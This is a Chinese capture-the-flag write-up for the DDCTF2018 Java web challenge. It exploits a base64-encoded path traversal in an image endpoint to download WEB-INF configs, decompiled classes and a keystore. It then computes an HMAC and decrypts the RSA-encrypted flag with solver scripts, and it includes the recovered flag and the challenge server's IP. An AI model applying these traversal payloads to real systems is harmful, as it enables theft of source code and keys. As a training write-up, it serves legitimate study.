DDCTF2018-专属链接

题目链接:http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23

前言

比赛时没有做出来这道题,对JavaWeb一窍不通,现在大概明白些其工作原理:

  • 服务器主要为tomcat
  • 后端语言为java

后端文件主要有:

  • jsp:脚本文件
  • class:编译好的类
  • jar:依赖的包
  • xml:各种配置文件

一般目录结构:

web
├── WEB-INF
│   ├── classes
│   │   ├── config
│   │   │   ├── db.properties
│   │   │   ├── log4j.properties
│   │   │   ├── mybatis
│   │   │   │   └── SqlMapConfig.xml
│   │   │   └── spring
│   │   │       ├── applicationContext-dao.xml
│   │   │       ├── applicationContext-service.xml
│   │   │       ├── applicationContext-transaction.xml
│   │   │       └── springmvc.xml
│   │   ├── controller
│   │   │   ├── ItemsController.class
│   │   │   ├── converter
│   │   │   │   └── CustomDateConverter.class
│   │   │   └── propertyeditor
│   │   │       └── CustomPropertyEditor.class
│   │   └── service
│   │       ├── ItemsService.class
│   │       └── impl
│   │           └── ItemsServiceImpl.class
│   ├── jsp
│   │   ├── editItem.jsp
│   │   └── itemsList.jsp
│   ├── lib
│   │   ├── aopalliance-1.0.jar
│   │   ├── asm-3.3.1.jar
│   │   ├── aspectjweaver-1.6.11.jar
│   │   ├── cglib-2.2.2.jar
│   │   └── commons-dbcp-1.2.2.jar
│   └── web.xml
└── index.jsp
  • /index.jsp 首页
  • /WEB-INF/web.xml 主配置文件
  • /WEB-INF/class/ 存放编译完成的class
  • /WEB-INF/lib/ 存放需要依赖的jar包
  • /WEB-INF/jsp/ 存放jsp,一般是View

进化历程大致如下:

  • 开始:servlet
  • 因为标签解耦:jsp
  • 因为页面数据解耦:jsp+javabean
  • 因为控制层解耦:jsp+servlet+javabean
  • 因为控制层共用:jsp+struts
  • 因为解耦数据库:jsp+struts+hibernate
  • 因为解耦控制层和数据层:jsp+struts+spring+hibernate
  • 因为界面和控制层解耦:jsp+struts2+spring+hibernate
  • 因为struts2安全问题:jsp+springmvc+spring+hibernate
  • 因为mybatis更能适应业务复杂性:jsp+springmvc+spring+mybatis

作者:王忠进
链接:https://www.zhihu.com/question/36032573/answer/140945219
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

对比源码

http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23
http://www.xiaojukeji.com/

用010editor对比,得到两处明显不同:


13行:   <link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">

287行:  <!--/flag/testflag/yourflag-->

第一处不同

base64解码为favicon.ico,下载这个ico,010editor打开发现:

you can only download .class .xml .ico .ks files

第二处不同

尝试访问获得报错信息

http://116.85.48.102:5050/flag/testflag/yourflag

没有什么有用的类

org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.lang.ArrayIndexOutOfBoundsException
	org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:978)
	org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:857)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:634)
	org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
	org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
	org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)

尝试构造flag格式去访问

http://116.85.48.102:5050/flag/testflag/DDCTF{123}
http://116.85.48.102:5050/flag/testflag/DDCTF{QWE}

报错出一个看起来有用的类:

com.didichuxing.ctf.controller.user.FlagController.submitFlag(FlagController.java:36)

任意文件访问

第一处的base64编码,根据提示很有可能存在任意文件访问,于是尝试构造如下:

WEB-INF/web.xml
../WEB-INF/web.xml
../../WEB-INF/web.xml

base64编码后拼接到 http://116.85.48.102:5050/image/banner/ 后尝试访问,最终访问如下如下url得到web.xml

http://116.85.48.102:5050/image/banner/Li4vLi4vV0VCLUlORi93ZWIueG1s

web.xml中找找到WEB-INF/applicationContext.xmL,最终找到如下文件:

_.._WEB-INF_web.xml
_.._WEB-INF_applicationContext.xml

_.._WEB-INF_classes_com_didichuxing_ctf_service_FlagService.class
_.._WEB-INF_classes_com_didichuxing_ctf_service_impl_FlagServiceImpl.class

_.._WEB-INF_classes_com_didichuxing_ctf_controller_user_FlagController.class
_.._WEB-INF_classes_com_didichuxing_ctf_controller_user_StaticController.class

_.._WEB-INF_classes_com_didichuxing_ctf_util_StringUtil.class

_.._WEB-INF_classes_com_didichuxing_ctf_dao_FlagDao.class

_.._WEB-INF_classes_com_didichuxing_ctf_listener_InitListener.class

_.._WEB-INF_classes_com_didichuxing_ctf_model_Flag.class

_.._WEB-INF_classes_mapper_FlagMapper.xml

_.._WEB-INF_classes_mybatis_config.xml

_.._WEB-INF_classes_sdl.ks

源码审计

通过JD-GUI反编译下载的class,分析逻辑如下:

image

FlagController.java

package com.didichuxing.ctf.controller.user;

import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.PrintStream;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({"flag"})
public class FlagController
{
  @Autowired
  private FlagService flagService;

  // url匹配:/flag/getflag/{email},调用flagService.getFlagByEmail()获取flag的密文
 

  @RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
  public String getFlag(@PathVariable("email") String email, ModelMap model)
  {
    Flag flag = this.flagService.getFlagByEmail(email);
    
    return "Encrypted flag : " + flag.getFlag();
  }
  
  // url匹配:/flag/testflag/{flag},调用flagService.exist()检查flag

  @RequestMapping({"/testflag/{flag}"})
  public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
  {
    String[] fs = flag.split("[{}]");
    Long longFlag = Long.valueOf(fs[1]);
    
    int i = this.flagService.exist(flag);
    if (i > 0) {
      return "pass!!!";
    }
    return "failed!!!";
  }
  
  private void init()
  {
    System.out.println("test");
  }
}

FlagService.java

package com.didichuxing.ctf.service;

import com.didichuxing.ctf.model.Flag;

public abstract interface FlagService
{
  public abstract Flag getFlagByEmail(String paramString);
  
  public abstract Flag getFlagByUUID(String paramString);
  
  public abstract Flag getFirst(int paramInt1, int paramInt2, String paramString1, String paramString2);
  
  public abstract void save(Flag paramFlag);
  
  public abstract void deleteAll();
  
  public abstract int exist(String paramString);
}

声明了相应的抽象方法,实现应该在service/impl/FlagServiceImpl.java下

FlagServiceImpl.java

package com.didichuxing.ctf.service.impl;

import com.didichuxing.ctf.dao.FlagDao;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service("flagService")
public class FlagServiceImpl
  implements FlagService
{
  @Autowired
  private FlagDao flagDao;
  
  public Flag getFlagByEmail(String email)
  {
    Flag flag = null;
    try
    {
      flag = this.flagDao.getByEmail(email);
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    return flag;
  }
  
  public Flag getFlagByUUID(String uuid)
  {
    Flag flag = null;
    try
    {
      flag = this.flagDao.getByUUID(uuid);
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    return flag;
  }
  
  public void save(Flag flag)
  {
    try
    {
      this.flagDao.save(flag);
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
  }
  
  public void deleteAll()
  {
    try
    {
      this.flagDao.deleteAll();
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
  }
  
  public int exist(String originFlag)
  {
    try
    {
      return this.flagDao.exist(originFlag);
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    return 0;
  }
  
  public Flag getFirst(int start, int end, String col, String mode)
  {
    try
    {
      return this.flagDao.getFirst(start, end, col, mode);
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    return null;
  }
}

调用了flagDao下的方法

FlagDao.java

package com.didichuxing.ctf.dao;

import com.didichuxing.ctf.model.Flag;
import org.apache.ibatis.annotations.Param;
import org.springframework.stereotype.Repository;

@Repository
public abstract interface FlagDao
{
  public abstract void update(Flag paramFlag)
    throws Exception;
  
  public abstract void save(Flag paramFlag)
    throws Exception;
  
  public abstract Flag getByEmail(String paramString)
    throws Exception;
  
  public abstract Flag getByUUID(String paramString)
    throws Exception;
  
  public abstract int exist(String paramString)
    throws Exception;
  
  public abstract void deleteAll()
    throws Exception;
  
  public abstract int count()
    throws Exception;
  
  public abstract Flag getFirst(@Param("start") int paramInt1, @Param("end") int paramInt2, @Param("col") String paramString1, @Param("mode") String paramString2)
    throws Exception;
}

FlagMapper.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.didichuxing.ctf.dao.FlagDao">

    <resultMap id="flag" type="com.didichuxing.ctf.model.Flag">
        <id column="id" property="id"/>
        <result column="email" property="email"/>
        <result column="flag" property="flag"/>
    </resultMap>

    <insert id="save">
        INSERT INTO t_flag VALUES (#{id}, #{email}, #{flag}, #{originFlag},#{uuid},#{originEmail})
    </insert>

    <update id="update">
        UPDATE t_flag
        SET flag = #{flag}
        WHERE email = #{email}
    </update>

    <select id="getByEmail" resultMap="flag">
        SELECT *
        FROM t_flag
        WHERE email = #{email}
    </select>

    <select id="getByUUID" resultMap="flag">
        SELECT *
        FROM t_flag
        WHERE uuid = #{uuid}
    </select>


    <delete id="deleteAll">
        DELETE FROM t_flag
    </delete>

    <select id="exist" resultType="java.lang.Integer">
        SELECT *
        FROM t_flag
        WHERE originFlag = #{originFlag}
    </select>

    <select id="count" resultType="java.lang.Integer">
        SELECT COUNT(*) AS total
        FROM t_flag
    </select>

    <select id="getFirst" resultType="flag">
        SELECT *
        FROM t_flag order by ${col} ${mode}
        limit ${start},${end}
    </select>

</mapper>

FlagDao.java中方法的具体对数据库操作的sql配置

StaticController.java

package com.didichuxing.ctf.controller.user;

import com.didichuxing.ctf.util.StringUtil;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({"/image"})
public class StaticController
{
  public String index()
  {
    return "hello world!";
  }
  
  @RequestMapping({"/banner/{filename}"})
  public void getImage(@PathVariable("filename") String fileName, HttpServletRequest request, HttpServletResponse response)
  {
    if (fileName != null)
    {
      byte[] dataByte = Base64.getDecoder().decode(fileName);
      String fileName1 = new String(dataByte);
      if (!StringUtil.validFilename(fileName1)) {
        return;
      }
      String realPath = request.getSession().getServletContext().getRealPath("images/banner/" + fileName1);
      File file = new File(realPath);
      if (file.exists())
      {
        response.setContentType("application/force-download");
        response.addHeader("Content-Disposition", "attachment;fileName=" + fileName1);
        byte[] buffer = new byte['��'];
        FileInputStream fis = null;
        BufferedInputStream bis = null;
        try
        {
          fis = new FileInputStream(file);
          bis = new BufferedInputStream(fis);
          OutputStream os = response.getOutputStream();
          int i = bis.read(buffer);
          while (i != -1)
          {
            os.write(buffer, 0, i);
            i = bis.read(buffer);
          }
        }
        catch (Exception e)
        {
          e.printStackTrace();
        }
        finally
        {
          if (bis != null) {
            try
            {
              bis.close();
            }
            catch (IOException e)
            {
              e.printStackTrace();
            }
          }
          if (fis != null) {
            try
            {
              fis.close();
            }
            catch (IOException e)
            {
              e.printStackTrace();
            }
          }
        }
      }
    }
  }
}

实现通过/image/banner/{filename},来访问任意文件

InitListener.java

package com.didichuxing.ctf.listener;

import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletContext;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationEvent;
import org.springframework.context.ApplicationListener;
import org.springframework.web.context.WebApplicationContext;

public class InitListener
  implements ApplicationListener, InitializingBean
{
  final String k = "sdl welcome you !";
  @Autowired
  private FlagService flagService;
  private Properties properties = new Properties();
  private String p;
  
  public void afterPropertiesSet()
    throws Exception
  {
    System.out.println("afterPropertiesSet");
    try
    {
      InputStream inputStream = getClass().getClassLoader().getResourceAsStream("/properties/conf.properties");
      this.properties.load(inputStream);
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    this.p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
  }
  
  public void onApplicationEvent(ApplicationEvent event)
  {
    if (!(event.getSource() instanceof ApplicationContext)) {
      return;
    }
    WebApplicationContext ctx = (WebApplicationContext)event.getSource();
    if (ctx.getParent() != null) {
      return;
    }
    String regenflag = this.properties.getProperty("regenflag");
    if ((regenflag != null) && ("false".equals(regenflag)))
    {
      System.out.println("skip gen flag");
      return;
    }
    try
    {
      this.flagService.deleteAll();
      int id = 1;
      
      String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
      String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
      System.out.println(path);
      
      String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
      String[] emails = emailsString.trim().split("\n");
      
      KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
      FileInputStream inputStream = new FileInputStream(ksPath);
      keyStore.load(inputStream, this.p.toCharArray());
      Key key = keyStore.getKey("www.didichuxing.com", this.p.toCharArray());
      Cipher cipher = Cipher.getInstance(key.getAlgorithm());
      cipher.init(1, key);
      SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
      Mac mac = Mac.getInstance("HmacSHA256");
      mac.init(signingKey);
      SecureRandom sr = new SecureRandom();
      for (String email : emails)
      {
        String flag = "DDCTF{" + Math.abs(sr.nextLong()) + "}";
        String uuid = UUID.randomUUID().toString().replace("-", "s");
        
        byte[] data = cipher.doFinal(flag.getBytes());
        byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
        
        Flag flago = new Flag();
        flago.setId(Integer.valueOf(id));
        flago.setFlag(byte2hex(data));
        flago.setEmail(byte2hex(e));
        flago.setOriginFlag(flag);
        flago.setUuid(uuid);
        flago.setOriginEmail(email);
        
        this.flagService.save(flago);
        System.out.println(email + "���������������������������http://116.85.48.102:5050/welcom/" + uuid);
        id++;
        System.out.println(flago);
      }
    }
    catch (KeyStoreException e)
    {
      e.printStackTrace();
    }
    catch (IOException e)
    {
      e.printStackTrace();
    }
    catch (NoSuchAlgorithmException e)
    {
      e.printStackTrace();
    }
    catch (CertificateException e)
    {
      e.printStackTrace();
    }
    catch (UnrecoverableKeyException e)
    {
      e.printStackTrace();
    }
    catch (NoSuchPaddingException e)
    {
      e.printStackTrace();
    }
    catch (InvalidKeyException e)
    {
      e.printStackTrace();
    }
    catch (IllegalBlockSizeException e)
    {
      e.printStackTrace();
    }
    catch (BadPaddingException e)
    {
      e.printStackTrace();
    }
  }
  
  public static String byte2hex(byte[] b)
  {
    StringBuilder hs = new StringBuilder();
    for (int n = 0; (b != null) && (n < b.length); n++)
    {
      String stmp = Integer.toHexString(b[n] & 0xFF);
      if (stmp.length() == 1) {
        hs.append('0');
      }
      hs.append(stmp);
    }
    return hs.toString().toUpperCase();
  }
}

初始化的监听器,完成每个email的flag初始化

Flag.java

package com.didichuxing.ctf.model;

public class Flag
{
  private Integer id;
  private String uuid;
  private String email;
  private String originEmail;
  private String flag;
  private String originFlag;
  
  public String getUuid()
  {
    return this.uuid;
  }
  
  public void setUuid(String uuid)
  {
    this.uuid = uuid;
  }
  
  public String getOriginEmail()
  {
    return this.originEmail;
  }
  
  public void setOriginEmail(String originEmail)
  {
    this.originEmail = originEmail;
  }
  
  public Integer getId()
  {
    return this.id;
  }
  
  public void setId(Integer id)
  {
    this.id = id;
  }
  
  public String getEmail()
  {
    return this.email;
  }
  
  public void setEmail(String email)
  {
    this.email = email;
  }
  
  public String getFlag()
  {
    return this.flag;
  }
  
  public void setFlag(String flag)
  {
    this.flag = flag;
  }
  
  public String getOriginFlag()
  {
    return this.originFlag;
  }
  
  public void setOriginFlag(String originFlag)
  {
    this.originFlag = originFlag;
  }
  
  public String toString()
  {
    return "Flag{id=" + this.id + ", uuid='" + this.uuid + '\'' + ", email='" + this.email + '\'' + ", originEmail='" + this.originEmail + '\'' + ", flag='" + this.flag + '\'' + ", originFlag='" + this.originFlag + '\'' + '}';
  }
}

Flag类中的成员有: id,uuid,email,originEmail,flag,originFlag

整体逻辑

初始化

InitListener监听器初始化Flag:

  • 读取email信息与秘钥文件
  • 随机生成一个flag
  • 加密flag与email信息
  • 保存加密与原始的信息到数据库中
Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);

这里发现flag类里的flag与email都是加密过的flag,而OriginEmail与OriginFlag才是明文的数据

flag控制器

FlagController通过getflag和testflag两个接口工作:

  • getflag最终通过FlagDao.java中的getByEmail()从数据库中获取flag
  • 这个email字段存储的是加密过的email

思路

  • 通过InitListener.java的源码,我们已知邮箱的明文,算出邮箱的密文
  • 通过/flag/getflag/,将算出的密文提交给flag控制器,得到flag的密文
  • 仍然通过InitListener.java的源码,以及泄露出的秘钥文件,解密flag
  • 通过/flag/testflag/,检查

解法

加密email

import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

public class Main {
    public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeyException {
        SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
        Mac mac = Mac.getInstance("HmacSHA256");
        mac.init(signingKey);
        String email="8071103253958342134@didichuxing.com";
        byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
        System.out.println(byte2hex(e));
    }


    public static String byte2hex(byte[] b)
    {
        StringBuilder hs = new StringBuilder();
        for (int n = 0; (b != null) && (n < b.length); n++)
        {
            String stmp = Integer.toHexString(b[n] & 0xFF);
            if (stmp.length() == 1) {
                hs.append('0');
            }
            hs.append(stmp);
        }
        return hs.toString().toUpperCase();
    }
}
6DE17D169E992EB842991B9CA2557F6A060C865D516B0E6BAB6D4494C3724B50

POST获得flag密文

http://116.85.48.102:5050/flag/getflag/6DE17D169E992EB842991B9CA2557F6A060C865D516B0E6BAB6D4494C3724B50
AF275F555C269724F01DA82A476B2D9C6DEE43F129FC9317BC772793457CACF457E976D5217875B94FC44D09AEDE3FF441BDE93C0086232B6277289755A3655F083B7A436E273F86A673F0576BD3A2487156F9B569F67C741287258ECF6A532742425F31B3DBF8BDA506717121152983A02E1ECF2D27046DB5E084DE06417B72121D157A138244DEBCD88E4E357B400088412892B45D8C498976F2445B9F26ADA20CAE425C8C36D258C591A5C9F20EF938EFB640AC83DB0157EA6FFA4BAC04A1F42C09650097EC1A461FE18CD972A533CC93EBB78D467360B6A405E24551AB6C944E2050B693FD0939D0E34864350536733C609D678176DBD12D5AFA13FF5EA2

解密flag

keyStore

这里flag是用rsa算法并且是私钥加密的,所以需要公钥解密

Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());// 获得私钥

Key key = keyStore.getCertificate("www.didichuxing.com").getPublicKey();// 获得公钥

Cipher

cipher.init(1,key) //加密
cipher.init(2,key) //解密

hex2byte

加密时是byte2hex,所以需要倒过来


 public static byte[] hex2byte(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }

    private static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }

最终脚本

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.FileInputStream;
import java.io.IOException;
import java.security.*;
import java.security.cert.CertificateException;

public class Main {
    public static void main(String[] args) throws KeyStoreException, InvalidKeyException, IOException, NoSuchAlgorithmException, CertificateException, UnrecoverableKeyException, NoSuchPaddingException, BadPaddingException, IllegalBlockSizeException {

        String p="";
        String eflag="AF275F555C269724F01DA82A476B2D9C6DEE43F129FC9317BC772793457CACF457E976D5217875B94FC44D09AEDE3FF441BDE93C0086232B6277289755A3655F083B7A436E273F86A673F0576BD3A2487156F9B569F67C741287258ECF6A532742425F31B3DBF8BDA506717121152983A02E1ECF2D27046DB5E084DE06417B72121D157A138244DEBCD88E4E357B400088412892B45D8C498976F2445B9F26ADA20CAE425C8C36D258C591A5C9F20EF938EFB640AC83DB0157EA6FFA4BAC04A1F42C09650097EC1A461FE18CD972A533CC93EBB78D467360B6A405E24551AB6C944E2050B693FD0939D0E34864350536733C609D678176DBD12D5AFA13FF5EA2";
        String ksPath = "/Users/xuanxuan/Desktop/getflag/src/sdl.ks";
        p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");

        KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
        FileInputStream inputStream = new FileInputStream(ksPath);
        keyStore.load(inputStream, p.toCharArray());
        //Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
        Key key = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
        Cipher cipher = Cipher.getInstance(key.getAlgorithm());
        cipher.init(2, key);

        String flag = new String(cipher.doFinal(hex2byte(eflag)));
        System.out.println(flag);
    }

    public static byte[] hex2byte(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }

    private static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }
}

DDCTF{3614585062529825773}

检查

http://116.85.48.102:5050/flag/testflag/DDCTF{3614585062529825773}